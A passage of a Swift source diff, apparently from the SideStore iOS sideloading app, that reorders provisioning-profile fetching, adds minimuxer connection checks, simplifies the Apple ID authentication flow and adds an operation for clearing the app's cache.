+        progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
+
+
         /* Deactivate Apps (if necessary) */
         let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
             do
@@ -1042,6 +1084,12 @@ private extension AppManager
                 {
                     throw error
                 }
+                
+                guard let profiles = context.provisioningProfiles else { throw OperationError.invalidParameters }
+                if !profiles.contains(where: { $1.isFreeProvisioningProfile == true }) {
+                    operation.finish()
+                    return
+                }
                                 
                 guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
                 
@@ -1061,7 +1109,7 @@ private extension AppManager
                 operation.finish()
             }
         }
-        deactivateAppsOperation.addDependency(verifyOperation)
+        deactivateAppsOperation.addDependency(fetchProvisioningProfilesOperation)
         
         
         /* Patch App */
@@ -1136,32 +1184,6 @@ private extension AppManager
         patchAppOperation.addDependency(deactivateAppsOperation)
         
         
-        /* Refresh Anisette Data */
-        let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
-        refreshAnisetteDataOperation.resultHandler = { (result) in
-            switch result
-            {
-            case .failure(let error): context.error = error
-            case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
-            }
-        }
-        refreshAnisetteDataOperation.addDependency(patchAppOperation)
-        
-        
-        /* Fetch Provisioning Profiles */
-        let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
-        fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
-        fetchProvisioningProfilesOperation.resultHandler = { (result) in
-            switch result
-            {
-            case .failure(let error): context.error = error
-            case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
-            }
-        }
-        fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
-        progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
-        
-        
         /* Resign */
         let resignAppOperation = ResignAppOperation(context: context)
         resignAppOperation.resultHandler = { (result) in
@@ -1171,7 +1193,7 @@ private extension AppManager
             case .success(let resignedApp): context.resignedApp = resignedApp
             }
         }
-        resignAppOperation.addDependency(fetchProvisioningProfilesOperation)
+        resignAppOperation.addDependency(patchAppOperation)
         progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
         
         
@@ -1214,7 +1236,7 @@ private extension AppManager
         progress.addChild(installOperation.progress, withPendingUnitCount: 30)
         installOperation.addDependency(sendAppOperation)
         
-        let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
+        let operations = [downloadOperation, verifyOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, deactivateAppsOperation, patchAppOperation, resignAppOperation, sendAppOperation, installOperation]
         group.add(operations)
         self.run(operations, context: group.context)
         

AltStore/My Apps/MyAppsViewController.swift

@@ -10,10 +10,12 @@ import UIKit
 import MobileCoreServices
 import Intents
 import Combine
+import UniformTypeIdentifiers
 
 import AltStoreCore
 import AltSign
 import Roxas
+import minimuxer
 
 import Nuke
 
@@ -327,21 +329,25 @@ private extension MyAppsViewController
             let currentDate = Date()
             
             let numberOfDays = installedApp.expirationDate.numberOfCalendarDays(since: currentDate)
-            let numberOfDaysText: String
             
-            if numberOfDays == 1
+            let formatter = DateComponentsFormatter()
-            {
+            formatter.unitsStyle = .full
-                numberOfDaysText = NSLocalizedString("1 day", comment: "")
+            formatter.includesApproximationPhrase = false
-            }
+            formatter.includesTimeRemainingPhrase = false
-            else
+            
-            {
+            formatter.allowedUnits = [.day, .hour, .minute]
-                numberOfDaysText = String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
+            
-            }
+            formatter.maximumUnitCount = 1
+            
+            
+            
+            cell.bannerView.button.setTitle(formatter.string(from: currentDate, to: installedApp.expirationDate)?.uppercased(), for: .normal)
             
-            cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
             cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Refresh %@", comment: ""), installedApp.name)
-            
+
-            cell.bannerView.accessibilityLabel? += ". " + String(format: NSLocalizedString("Expires in %@", comment: ""), numberOfDaysText)
+            formatter.includesTimeRemainingPhrase = true
+
+            cell.bannerView.accessibilityLabel? += ". " + (formatter.string(from: currentDate, to: installedApp.expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " "
             
             // Make sure refresh button is correct size.
             cell.layoutIfNeeded()
@@ -639,6 +645,12 @@ private extension MyAppsViewController
     
     @IBAction func refreshAllApps(_ sender: UIBarButtonItem)
     {
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
+
         self.isRefreshingAllApps = true
         self.collectionView.collectionViewLayout.invalidateLayout()
 
@@ -701,18 +713,15 @@ private extension MyAppsViewController
     
     @IBAction func sideloadApp(_ sender: UIBarButtonItem)
     {
-        let supportedTypes: [String]
+        if !minimuxer.ready() {
-        
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
-        if let types = UTTypeCreateAllIdentifiersForTag(kUTTagClassFilenameExtension, "ipa" as CFString, nil)?.takeRetainedValue()
+            toastView.show(in: self)
-        {
+            return
-            supportedTypes = (types as NSArray).map { $0 as! String }
-        }
-        else
-        {
-            supportedTypes = ["com.apple.itunes.ipa"] // Declared by the system.
         }
+
+        let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
         
-        let documentPickerViewController = UIDocumentPickerViewController(documentTypes: supportedTypes, in: .import)
+        let documentPickerViewController = UIDocumentPickerViewController(forOpeningContentTypes: supportedTypes, asCopy: true)
         documentPickerViewController.delegate = self
         self.present(documentPickerViewController, animated: true, completion: nil)
     }
@@ -934,11 +943,11 @@ private extension MyAppsViewController
         
         if UserDefaults.standard.activeAppLimitIncludesExtensions
         {
-            message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
+            message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
         }
         else
         {
-            message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "")
+            message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "")
         }
                 
         let alertController = UIAlertController(title: NSLocalizedString("What are inactive apps?", comment: ""), message: message, preferredStyle: .alert)
@@ -964,7 +973,7 @@ private extension MyAppsViewController
         
         if UserDefaults.standard.activeAppLimitIncludesExtensions
         {
-            firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions.", comment: "")
+            firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "")
         }
         else
         {
@@ -1014,6 +1023,12 @@ private extension MyAppsViewController
     
     func refresh(_ installedApp: InstalledApp)
     {
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
+
         let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
         guard previousProgress == nil else {
             previousProgress?.cancel()
@@ -1035,6 +1050,12 @@ private extension MyAppsViewController
     
     func activate(_ installedApp: InstalledApp)
     {
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
+
         func finish(_ result: Result<InstalledApp, Error>)
         {
             do
@@ -1111,6 +1132,11 @@ private extension MyAppsViewController
     func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
     {
         guard installedApp.isActive else { return }
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
         installedApp.isActive = false
         
         AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
@@ -1172,6 +1198,11 @@ private extension MyAppsViewController
     
     func backup(_ installedApp: InstalledApp)
     {
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
         let title = NSLocalizedString("Start Backup?", comment: "")
         let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
 
@@ -1211,6 +1242,11 @@ private extension MyAppsViewController
     
     func restore(_ installedApp: InstalledApp)
     {
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
         let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
         let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
         alertController.addAction(.cancel)
@@ -1246,8 +1282,11 @@ private extension MyAppsViewController
     {
         guard let backupURL = FileManager.default.backupDirectoryURL(for: installedApp) else { return }
         
-        let documentPicker = UIDocumentPickerViewController(url: backupURL, in: .exportToService)
+        let documentPicker = UIDocumentPickerViewController(forExporting: [backupURL], asCopy: true)
-        documentPicker.delegate = self
+        
+        // Don't set delegate to avoid conflicting with import callbacks.
+        // documentPicker.delegate = self
+        
         self.present(documentPicker, animated: true, completion: nil)
     }
     
@@ -1311,6 +1350,16 @@ private extension MyAppsViewController
     @available(iOS 14, *)
     func enableJIT(for installedApp: InstalledApp)
     {
+        if #available(iOS 17, *) {
+            let toastView = ToastView(error: OperationError.tooNewError)
+            toastView.show(in: self)
+            return
+        }
+        if !minimuxer.ready() {
+            let toastView = ToastView(error: MinimuxerError.NoConnection)
+            toastView.show(in: self)
+            return
+        }
         AppManager.shared.enableJIT(for: installedApp) { result in
             DispatchQueue.main.async {
                 switch result
@@ -1318,7 +1367,7 @@ private extension MyAppsViewController
                 case .success: break
                 case .failure(let error):
                     let toastView = ToastView(error: error)
-                    toastView.show(in: self)
+                    toastView.show(in: self.navigationController?.view ?? self.view, duration: 5)
                 }
             }
         }
@@ -1465,7 +1514,7 @@ extension MyAppsViewController
                 let registeredAppIDs = team.appIDs.count
                 
                 let maximumAppIDCount = 10
-                let remainingAppIDs = max(maximumAppIDCount - registeredAppIDs, 0)
+                let remainingAppIDs = maximumAppIDCount - registeredAppIDs
                 
                 if remainingAppIDs == 1
                 {
@@ -1476,7 +1525,7 @@ extension MyAppsViewController
                     footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs Remaining", comment: ""), NSNumber(value: remainingAppIDs))
                 }
                 
-                footerView.textLabel.isHidden = false
+                footerView.textLabel.isHidden = remainingAppIDs < 0
                 
             case .individual, .organization, .unknown: footerView.textLabel.isHidden = true
             @unknown default: break
@@ -2050,15 +2099,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
     {
         guard let fileURL = urls.first else { return }
         
-        switch controller.documentPickerMode
+        self.sideloadApp(at: fileURL) { (result) in
-        {
+            print("Sideloaded app at \(fileURL) with result:", result)
-        case .import, .open:
-            self.sideloadApp(at: fileURL) { (result) in
-                print("Sideloaded app at \(fileURL) with result:", result)
-            }
-        
-        case .exportToService, .moveToService: break
-        @unknown default: break
         }
     }
 }

AltStore/News/NewsViewController.swift

@@ -426,6 +426,10 @@ extension NewsViewController: UICollectionViewDelegateFlowLayout
             return previousSize
         }
         
+        // Take layout margins into account.
+        self.prototypeCell.layoutMargins.left = self.view.layoutMargins.left
+        self.prototypeCell.layoutMargins.right = self.view.layoutMargins.right
+        
         let widthConstraint = self.prototypeCell.contentView.widthAnchor.constraint(equalToConstant: collectionView.bounds.width)
         NSLayoutConstraint.activate([widthConstraint])
         defer { NSLayoutConstraint.deactivate([widthConstraint]) }

AltStore/Operations/AuthenticationOperation.swift

@@ -7,12 +7,12 @@
 //
 
 import Foundation
-import SwiftUI
 import Roxas
 import Network
 
 import AltStoreCore
 import AltSign
+import minimuxer
 
 enum AuthenticationError: LocalizedError
 {
@@ -40,7 +40,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
     let context: AuthenticatedOperationContext
     
     private weak var presentingViewController: UIViewController?
-
+    
     private lazy var navigationController: UINavigationController = {
         let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
         if #available(iOS 13.0, *)
@@ -49,7 +49,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
         }
         return navigationController
     }()
-
+    
     private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
     
     private var appleIDEmailAddress: String?
@@ -242,7 +242,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
                 let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
                 if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
                 {
-                    UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
+                    UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
                 }
                 else
                 {
@@ -267,11 +267,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
                         super.finish(result)
                         
                         DispatchQueue.main.async {
-                            if UnstableFeatures.enabled(.swiftUI) {
+                            self.navigationController.dismiss(animated: true, completion: nil)
-                                self.dismiss()
-                            } else {
-                                self.navigationController.dismiss(animated: true, completion: nil)
-                            }
                         }
                     }
                 }
@@ -281,11 +277,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
                 super.finish(result)
                 
                 DispatchQueue.main.async {
-                    if UnstableFeatures.enabled(.swiftUI) {
+                    self.navigationController.dismiss(animated: true, completion: nil)
-                        self.dismiss()
-                    } else {
-                        self.navigationController.dismiss(animated: true, completion: nil)
-                    }
                 }
             }
         }
@@ -296,36 +288,25 @@ private extension AuthenticationOperation
 {
     func present(_ viewController: UIViewController) -> Bool
     {
-        if UnstableFeatures.enabled(.swiftUI) {
+        guard let presentingViewController = self.presentingViewController else { return false }
-            UIApplication.topController?.present(viewController, animated: true)
+        
-        } else {
+        self.navigationController.view.tintColor = .white
-            guard let presentingViewController = self.presentingViewController else { return false }
+        
+        if self.navigationController.viewControllers.isEmpty
+        {
+            guard presentingViewController.presentedViewController == nil else { return false }
             
-            self.navigationController.view.tintColor = .white
+            self.navigationController.setViewControllers([viewController], animated: false)            
-            
+            presentingViewController.present(self.navigationController, animated: true, completion: nil)
-            if self.navigationController.viewControllers.isEmpty
+        }
-            {
+        else
-                guard presentingViewController.presentedViewController == nil else { return false }
+        {
-                
+            viewController.navigationItem.leftBarButtonItem = nil
-                self.navigationController.setViewControllers([viewController], animated: false)
+            self.navigationController.pushViewController(viewController, animated: true)
-                presentingViewController.present(self.navigationController, animated: true, completion: nil)
-            }
-            else
-            {
-                viewController.navigationItem.leftBarButtonItem = nil
-                self.navigationController.pushViewController(viewController, animated: true)
-            }
         }
         
         return true
     }
-    
-    func dismiss() {
-        if let presentingViewController {
-            presentingViewController.dismiss(animated: true)
-        }
-//        UIApplication.topController?.dismiss(animated: true)
-    }
 }
 
 private extension AuthenticationOperation
@@ -335,55 +316,29 @@ private extension AuthenticationOperation
         func authenticate()
         {
             DispatchQueue.main.async {
-                let viewController: UIViewController
+                let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
-                if UnstableFeatures.enabled(.swiftUI) {
+                authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
-                    viewController = UIHostingController(rootView: NavigationView {
+                    self.authenticate(appleID: appleID, password: password) { (result) in
-                        ConnectAppleIDView { appleID, password, completionHandler in
+                        completionHandler(result)
-                            self.authenticate(appleID: appleID, password: password) { (result) in
-                                completionHandler(result)
-                            }
-                        } completionHandler: { result in
-                            if let (account, session, password) = result
-                            {
-                                // We presented the Auth UI and the user signed in.
-                                // In this case, we'll assume we should show the instructions again.
-                                self.shouldShowInstructions = true
-                                
-                                self.appleIDPassword = password
-                                completionHandler(.success((account, session)))
-                            }
-                            else
-                            {
-                                completionHandler(.failure(OperationError.cancelled))
-                            }
-                        }
-                    }.navigationViewStyle(StackNavigationViewStyle()))
-                } else {
-                    let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
-                    authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
-                        self.authenticate(appleID: appleID, password: password) { (result) in
-                            completionHandler(result)
-                        }
                     }
-                    authenticationViewController.completionHandler = { (result) in
+                }
-                        if let (account, session, password) = result
+                authenticationViewController.completionHandler = { (result) in
-                        {
+                    if let (account, session, password) = result
-                            // We presented the Auth UI and the user signed in.
+                    {
-                            // In this case, we'll assume we should show the instructions again.
+                        // We presented the Auth UI and the user signed in.
-                            self.shouldShowInstructions = true
+                        // In this case, we'll assume we should show the instructions again.
-                            
+                        self.shouldShowInstructions = true
-                            self.appleIDPassword = password
+                        
-                            completionHandler(.success((account, session)))
+                        self.appleIDPassword = password
-                        }
+                        completionHandler(.success((account, session)))
-                        else
+                    }
-                        {
+                    else
-                            completionHandler(.failure(OperationError.cancelled))
+                    {
-                        }
+                        completionHandler(.failure(OperationError.cancelled))
                     }
-                    viewController = authenticationViewController
                 }
                 
-                if !self.present(viewController)
+                if !self.present(authenticationViewController)
                 {
                     completionHandler(.failure(OperationError.notAuthenticated))
                 }
@@ -425,34 +380,49 @@ private extension AuthenticationOperation
             case .success(let anisetteData):
                 let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
                 
-                verificationHandler = { (completionHandler) in
+                if let presentingViewController = self.presentingViewController
-                    DispatchQueue.main.async {
+                {
-                        let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
+                    verificationHandler = { (completionHandler) in
-                        alertController.addTextField { (textField) in
+                        DispatchQueue.main.async {
-                            textField.autocorrectionType = .no
+                            let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
-                            textField.autocapitalizationType = .none
+                            alertController.addTextField { (textField) in
-                            textField.keyboardType = .numberPad
+                                textField.autocorrectionType = .no
+                                textField.autocapitalizationType = .none
+                                textField.keyboardType = .numberPad
+                                
+                                NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
+                            }
                             
-                            NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
+                            let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
-                        }
+                                let textField = alertController.textFields?.first
-                        
+                                
-                        let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
+                                let code = textField?.text ?? ""
-                            let textField = alertController.textFields?.first
+                                completionHandler(code)
+                            }
+                            submitAction.isEnabled = false
+                            alertController.addAction(submitAction)
+                            self.submitCodeAction = submitAction
                             
-                            let code = textField?.text ?? ""
+                            alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
-                            completionHandler(code)
+                                completionHandler(nil)
+                            })
+                            
+                            if self.navigationController.presentingViewController != nil
+                            {
+                                self.navigationController.present(alertController, animated: true, completion: nil)
+                            }
+                            else
+                            {
+                                presentingViewController.present(alertController, animated: true, completion: nil)
+                            }
                         }
-                        submitAction.isEnabled = false
-                        alertController.addAction(submitAction)
-                        self.submitCodeAction = submitAction
-                        
-                        alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
-                            completionHandler(nil)
-                        })
-                        
-                        UIApplication.topController?.present(alertController, animated: true, completion: nil)
                     }
                 }
+                else
+                {
+                    // No view controller to present security code alert, so don't provide verificationHandler.
+                    verificationHandler = nil
+                }
                     
                 ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
                                                 verificationHandler: verificationHandler) { (account, session, error) in
@@ -483,16 +453,14 @@ private extension AuthenticationOperation
                  }
              } else {
                  DispatchQueue.main.async {
-                     if !UnstableFeatures.enabled(.swiftUI) {
+                     let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
-                         let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
+
-                         
+                     selectTeamViewController.teams = teams
-                         selectTeamViewController.teams = teams
+                     selectTeamViewController.completionHandler = completionHandler
-                         selectTeamViewController.completionHandler = completionHandler
+
-                         
+                     if !self.present(selectTeamViewController)
-                         if !self.present(selectTeamViewController)
+                     {
-                         {
+                         return completionHandler(.failure(AuthenticationError.noTeam))
-                             return completionHandler(.failure(AuthenticationError.noTeam))
-                         }
                      }
                  }
              }
@@ -626,7 +594,7 @@ private extension AuthenticationOperation
     
     func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
     {
-        guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
+        guard let udid = fetch_udid()?.toString() else {
             return completionHandler(.failure(OperationError.unknownUDID))
         }
         
@@ -675,22 +643,18 @@ private extension AuthenticationOperation
     
     func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
     {
-        if UnstableFeatures.enabled(.swiftUI) {
+        guard self.shouldShowInstructions else { return completionHandler(false) }
-            return completionHandler(false)
+        
-        } else {
+        DispatchQueue.main.async {
-            guard self.shouldShowInstructions else { return completionHandler(false) }
+            let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
+            instructionsViewController.showsBottomButton = true
+            instructionsViewController.completionHandler = {
+                completionHandler(true)
+            }
             
-            DispatchQueue.main.async {
+            if !self.present(instructionsViewController)
-                let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
+            {
-                instructionsViewController.showsBottomButton = true
+                completionHandler(false)
-                instructionsViewController.completionHandler = {
-                    completionHandler(true)
-                }
-                
-                if !self.present(instructionsViewController)
-                {
-                    completionHandler(false)
-                }
             }
         }
     }

AltStore/Operations/BackgroundRefreshAppsOperation.swift

@@ -105,8 +105,13 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
         } catch {
             self.finish(.failure(error))
         }
-        start_auto_mounter(documentsDirectory)
+        if #available(iOS 17, *) {
-        
+            // TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
+        }
+        else {
+            start_auto_mounter(documentsDirectory)
+        }
+
         self.managedObjectContext.perform {
             print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
             

AltStore/Operations/BackupAppOperation.swift

@@ -29,6 +29,9 @@ class BackupAppOperation: ResultOperation<Void>
     private var appName: String?
     private var timeoutTimer: Timer?
     
+    private weak var applicationWillReturnObserver: NSObjectProtocol?
+    private weak var backupResponseObserver: NSObjectProtocol?
+    
     init(action: Action, context: InstallAppOperationContext)
     {
         self.action = action
@@ -43,10 +46,7 @@ class BackupAppOperation: ResultOperation<Void>
         
         do
         {
-            if let error = self.context.error
+            if let error = self.context.error { throw error }
-            {
-                throw error
-            }
             
             guard let installedApp = self.context.installedApp, let context = installedApp.managedObjectContext else { throw OperationError.invalidParameters }
             context.perform {
@@ -55,9 +55,8 @@ class BackupAppOperation: ResultOperation<Void>
                     let appName = installedApp.name
                     self.appName = appName
                     
-                    guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else { throw OperationError.appNotFound }
+                    let altstoreOpenURL = URL(string: "sidestore://")!
-                    let altstoreOpenURL = altstoreApp.openAppURL
+
-                    
                     var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
                     returnURLComponents?.host = "appBackupResponse"
                     guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
@@ -153,8 +152,11 @@ private extension BackupAppOperation
 {
     func registerObservers()
     {
-        var applicationWillReturnObserver: NSObjectProtocol!
+        self.applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
-        applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
+            defer {
+                self?.applicationWillReturnObserver.map { NotificationCenter.default.removeObserver($0) }
+            }
+
             guard let self = self, !self.isFinished else { return }
             
             self.timeoutTimer = Timer.scheduledTimer(withTimeInterval: 5, repeats: false) { [weak self] (timer) in
@@ -166,18 +168,17 @@ private extension BackupAppOperation
                     self.finish(.failure(OperationError.timedOut))
                 }
             }
-            
-            NotificationCenter.default.removeObserver(applicationWillReturnObserver!)
         }
         
-        var backupResponseObserver: NSObjectProtocol!
+        self.backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
-        backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
+            defer {
+                self?.backupResponseObserver.map { NotificationCenter.default.removeObserver($0) }
+            }
+            
             self?.timeoutTimer?.invalidate()
             
             let result = notification.userInfo?[AppDelegate.appBackupResultKey] as? Result<Void, Error> ?? .failure(OperationError.unknownResult)
             self?.finish(result)
-            
-            NotificationCenter.default.removeObserver(backupResponseObserver!)
         }
     }
 }

AltStore/Operations/ClearAppCacheOperation.swift

@@ -0,0 +1,208 @@
+//
+//  ClearAppCacheOperation.swift
+//  AltStore
+//
+//  Created by Riley Testut on 9/27/22.
+//  Copyright © 2022 Riley Testut. All rights reserved.
+//
+
+import Foundation
+import AltStoreCore
+/*
+struct BatchError: ALTLocalizedError
+{
+
+    enum Code: Int, ALTErrorCode
+    {
+        typealias Error = BatchError
+        
+        case batchError
+    }
+
+    var code: Code = .batchError
+    var underlyingErrors: [Error]
+    
+    var errorTitle: String?
+    var errorFailure: String?
+    
+    init(errors: [Error])
+    {
+        self.underlyingErrors = errors
+    }
+    
+    var errorFailureReason: String {
+        guard !self.underlyingErrors.isEmpty else { return NSLocalizedString("An unknown error occured.", comment: "") }
+        
+        let errorMessages = self.underlyingErrors.map { $0.localizedDescription }
+        
+        let message = errorMessages.joined(separator: "\n\n")
+        return message
+    }
+}
+*/
+@objc(ClearAppCacheOperation)
+class ClearAppCacheOperation: ResultOperation<Void>
+{
+    private let coordinator = NSFileCoordinator()
+    private let coordinatorQueue = OperationQueue()
+    
+    override init()
+    {
+        self.coordinatorQueue.name = "AltStore - ClearAppCacheOperation Queue"
+    }
+    
+    override func main()
+    {
+        super.main()
+        
+        var allErrors = [Error]()
+        
+        self.clearTemporaryDirectory { result in
+            switch result
+            {
+            //case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
+            case .failure(let error): allErrors.append(error)
+            case .success: break
+            }
+            
+            self.removeUninstalledAppBackupDirectories { result in
+                switch result
+                {
+                //case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
+                case .failure(let error): allErrors.append(error)
+                case .success: break
+                }
+                
+                if allErrors.isEmpty
+                {
+                    self.finish(.success(()))
+                }
+                else
+                {
+                    self.finish(.failure(OperationError.cacheClearError(errors: allErrors.map({ error in
+                        return error.localizedDescription
+                    }))))
+                }
+            }
+        }
+    }
+}
+
+private extension ClearAppCacheOperation
+{
+    func clearTemporaryDirectory(completion: @escaping (Result<Void, Error>) -> Void)
+    {
+        let intent = NSFileAccessIntent.writingIntent(with: FileManager.default.temporaryDirectory, options: [.forDeleting])
+        self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
+            do
+            {
+                if let error
+                {
+                    throw error
+                }
+                
+                let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
+                                                                           includingPropertiesForKeys: [],
+                                                                           options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
+                var errors = [Error]()
+                
+                for fileURL in fileURLs
+                {
+                    do
+                    {
+                        print("[ALTLog] Removing item from temporary directory:", fileURL.lastPathComponent)
+                        try FileManager.default.removeItem(at: fileURL)
+                    }
+                    catch
+                    {
+                        print("[ALTLog] Failed to remove \(fileURL.lastPathComponent) from temporary directory.", error)
+                        errors.append(error)
+                    }
+                }
+                
+                if !errors.isEmpty
+                {
+                    completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
+                        return error.localizedDescription
+                    }))))
+                }
+                else
+                {
+                    completion(.success(()))
+                }
+            }
+            catch
+            {
+                completion(.failure(error))
+            }
+        }
+    }
+    
+    func removeUninstalledAppBackupDirectories(completion: @escaping (Result<Void, Error>) -> Void)
+    {
+        guard let backupsDirectory = FileManager.default.appBackupsDirectory else { return completion(.failure(OperationError.missingAppGroup)) }
+        
+        DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
+            let installedAppBundleIDs = Set(InstalledApp.all(in: context).map { $0.bundleIdentifier })
+            
+            let intent = NSFileAccessIntent.writingIntent(with: backupsDirectory, options: [.forDeleting])
+            self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
+                do
+                {
+                    if let error
+                    {
+                        throw error
+                    }
+                    
+                    var isDirectory: ObjCBool = false
+                    guard FileManager.default.fileExists(atPath: intent.url.path, isDirectory: &isDirectory), isDirectory.boolValue else {
+                        completion(.success(()))
+                        return
